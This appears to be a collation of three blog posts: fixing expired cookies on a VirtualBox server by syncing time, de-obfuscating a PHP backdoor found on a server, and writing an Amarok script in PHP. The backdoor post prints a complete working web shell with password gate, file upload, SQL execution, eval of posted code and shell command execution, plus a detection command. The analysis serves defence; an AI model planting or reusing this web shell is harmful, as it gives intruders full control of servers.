HTTP Cookies from VirtualBox are not sent back

VirtualBox is a great virualization solution. I use it to host my website and test it. It helps it me to set up the very same environment as I use in the server.  So I dont have to worry whether recent change in the web application will break it.  If you are a web developer and not using VirtualBox you should start right now.

Today I faced a weird problem. I could not log in to the web application in the vbox. But I could log in the live server. There was no difference between these two. One is physical server and other was virtual. After observing the http headers carefully I found that php session ids sent from virtual box was not preserved. But for live sever they get preserved. Session id is usually saved in cookie. Its the http clients responsibility to save the cookie and send it back along with successive request. I tested it in curl. it was not saving cooking. Google chrome was also not saving cookie. Only Firefox was saving.

At first I though its a problem of Google Chrome. I was almost submiting a bug to Chrome team. But then I tested in curl and it was not working. Two clients can not have same bug. So this should a problem of my host.  I compared all the headers sent by both live server and virtual box server side by side. And guess what I found?  The expires time for a cookie sent by virutal server was in past time. So this cookie was expired when generated.  It means my virtual box servers time was not in sync. I have to synchronize it with time server. The following command is enough for this.

ntpdate pool.ntp.org

After this everything was working smooth.  I always sync the time when i start the vbox server. If you boot your server time will be automatically synchronized. But if you save the state and later resume it you have to synchronise it manually. I never missed synchronizing. Today I forgot it. So I never think about it.  I checked last 30 revision from my svn repository to track down the problem.

My suggestion, Always synchronize the time of a vbox server if you resume it. Use the command above for this.

Now a new question arise. Why Firefox used a expired cookie?  I’ll verify it later.

De-obfuscate a backdoor PHP script

Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very simple. Mainly by replacing “eval” with “echo”.  I am not gonna describe the detailed process.

I use this code to decode it.

$contents = file_get_contents("php://stdin");$create_function = '\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e';
$base64_decode ='\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65';
if(strpos($contents, $create_function)!==false){
        echo "create_function() invocation found! \n";
        if(strpos($contents, $base64_decode)!==false){
                echo "base64_decode() invocation found! \n";
        }
}

// finding base64 pattern

preg_match('/"([a-zA-Z0-9\/+]{500,}[=]{0,2})"/', $contents, $m);
$data = base64_decode($m[1]);
eval(str_replace('eval', 'echo', $data));

And here is the result.

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0")
if ($_POST["p"] != "") {
        $_COOKIE["p"] = $_POST["p"];
        setcookie("p", $_POST["p"], time() + 3600);
}

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
        echo "<form method=post>";
        echo "<input type=text name=p value='' size=50>";
        echo "<input type=submit name=B_SUBMIT value='Check'>";
        echo "</form>";
        exit;
}

if ($_POST["action"] == "upload") {

    $l=$_FILES["filepath"]["tmp_name"];
    $newpath=$_POST["newpath"];
    if ($newpath!="") move_uploaded_file($l,$newpath);
    echo "done";

} else if ($_POST["action"] == "sql") {

    $query = $_POST["query"];
    $query = str_replace("\'","'",$query);
    $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    mysql_close($lnk);
    echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {

    eval(base64_decode($_POST["cmd"]));

} else {

    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(" ","",$disablefunc);
        $disablefunc = explode(",",$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = "";
        if (!empty($cmd)) {
            if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_resource($fp = @popen($cmd,"r"))) {
                $result = "";
                while(!feof($fp)) {$result .= @fread($fp,1024);}
                @pclose($fp);
            }
        }
        return $result;
    }
        $cmd = stripslashes($_POST["cmd"]);
        $cmd_enc = stripslashes($_POST["cmd_enc"]);
        if ($_POST["enc"]==1){
                $cmd=base64_decode($cmd_enc);
        }
        ?>
<script language=javascript type="text/javascript">
<!--
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function encodeIt(f){
        l=encodeBase64(f.cmd.value);
        f.cmd_enc.value=l;
        f.cmd.value="";
        f.enc.value=1;
        f.submit();
}
//--></script>
        <?

    echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
    echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
    echo "<input type=hidden name=enc value='0'>";
    echo "<input type=hidden name=cmd_enc value=''>";
    echo "<input type=submit name=B_SUBMIT value='Go'>";
    echo "</form>";
    if ($cmd != "") {
        echo "<pre>";
        $cmd=stripslashes($cmd);
        echo "Executing $cmd \n";
        echo myshellexec("$cmd");
        echo "</pre>";
        exit;
    }
}

If you look at the code carefully, you’ll notice its a backdoor.

  • It can upload arbitrary files
  • It can execute mysql quries
  • Its can shell command
If you want to check if your  server has such script  run the following command in shell in your web root.
find . -iname '*.php' -size 28k -exec egrep '\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e' -o {} \;

Here “\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e” is hex encoded “create_function” string. This is a PHP function that creates function dynamically from string.

Writing an Amarok script/plugin by PHP to broadcast your music

I am a music lover. So I listen to musics a lot. I not only listen to music, but also share it. For this purpose I made a php script long time ago that is used for song broadcasting. In windows I used winmap’s “dosomething” plugin to broadcast. Nowadays I listen song in my linux machine. No winamp is there. I use amarok to listen song. Amarok is a great player if you ever used it, you’ll realize. But I couldn’t broadcast song using amarok. Being a programmer I didnt search any plugin or script, rather I thought I’d write it myself.

I googled for writing amarok plugin. And I found these are not plugin actually. These are called script. Amarokscript. So I have to write amarok script. In the amarok wiki all the example was in Ruby and Python. But they said, any language can be used even bash would do. So I though why not try it with PHP. As I write PHP a lot. So It’ll be faster.

The amarok wiki in kde.org helped me a lot. Actually I have realy only that page and start writing the script. Bellow goes the main howto.

HOWTO:

An amarokscriopt is an tar archive file. It contians.

script/
README
COPYING
script.php (executable script)
script.spec

README: When you click on the about button/tab for this script in amarok the contents of this file is shown.

COPYING: If you have this file a tab/button named License will be shown. And the text from there will be contained there.

script.php: its the main script. It MUST be executable. In example I used .php extension. It can be any extension.  For Ruby its .rb, for python its .py, for perl its .pl, for binary it can be empty or .o. the main point is it MUST be executable.

script.spec: Its the file where you’ll write configureation values for amarok. Amarok will read this file and determine which file is the main script and what type of script is this.  In spec file there are 2 main entries. Name and type. If name is not given the first part of the .spec file is used as name. And type is a must.

The main script for me was in PHP. The main script should be executable. So I change the mode of the script to executable.

chmod +x songinfo-broadcaster.php

but even its executable, it can not run. Because shell doesn’t know what interpreter to use to run it. From shell you have to run it by,

$ php songinfo-broadcaster.php

Amarok wont call it that way for sure.  If it would call it that way it wouldn’t require the script to be executable. It will be call like,

$ ./songinfo-broadcaster.php

To make sure that this script runs this way add the following line at the top of the script.

The script will look like,

#!/usr/bin/php
<?php

?>

Now I have to code in between the php tags.

Here goes my main script skeleton. The dowork() function does the main script logic.

#!/usr/bin/php
<?php
echo "starting script", PHP_EOL;
function dowork(){
}
echo "starting listenning events", PHP_EOL;
$fp = fopen("php://stdin","r");
while($command = fgets($fp)):
echo "Event: $command",PHP_EOL;
$com = trim($command);
echo "event to procsss: $com", PHP_EOL;
switch($com):
case 'trackChange':
dowork();
break;
endswitch;
endwhile;
fclose($fp);
echo "Script Exited", PHP_EOL;
?>

My script should execute the main logic only when the  trackChange event occurred. So I had to catch it. Amarok sends event information in the scripts STDIN. So I read the STDIN. And when its trackChange I call the dowork(). Very simple logic.

I also needed current song information. It can be collected by DCOP api. DCOP is desktop communication protocol. While running amarok issue the following command in consoe,

$ dcop amarok player title

You’ll see the current songs title.

This technique is used to get the current song information. My dowork function is,

function dowork(){
$length = `dcop amarok player trackTotalTime`;
echo "Length: $length",PHP_EOL;
$album =`dcop amarok player album`;
echo "Album: $album",PHP_EOL;
$title =`dcop amarok player title`;
echo "Title: $title",PHP_EOL;
$artist = `dcop amarok player artist`;
echo "Artist: $artist",PHP_EOL;
$sec = $length % 60;
$min = (int)(($length-$sec)/60);
$length = "$min:$sec";

// Code to broadcast length, artist, album and title
}

See, how did I collect those information. I just used the backtick operator in php to capture shell command output.

Main script is done. Now the spec file needs to be writen.
I just put the following line in songinfo-broadcaster.spec file.

type = generic

After that I wrote some notes about the script in README. Then a copyright notice  in COPYING.

When every thing is written. Its time to package it. My directory structure was,


songinfo-broadcaster/
songinfo-broadcaster/README
songinfo-broadcaster/COPYING
songinfo-broadcaster/songinfo-broadcaster.php
songinfo-broadcaster/songinfo-broadcaster.spec

I pack it by following command.

$ tar -cf songinfo-broadcaster.amarokscript.tar -p songinfo-broadcaster

One this I MUST say. Every amarok script archive must be a .amarokscript fie. That means when they are in tar archive it will be .amarokscriopt.tar extension and when they are in bz2 archive it will be .amarokscript.tar.bz2.

The script is created.

Now
1)Open amarok
2)Go to Tools->ScriptManger.
3)Click Install Script button
4)Browse the script and load it
5)Select the script and click RUN

The script will be running.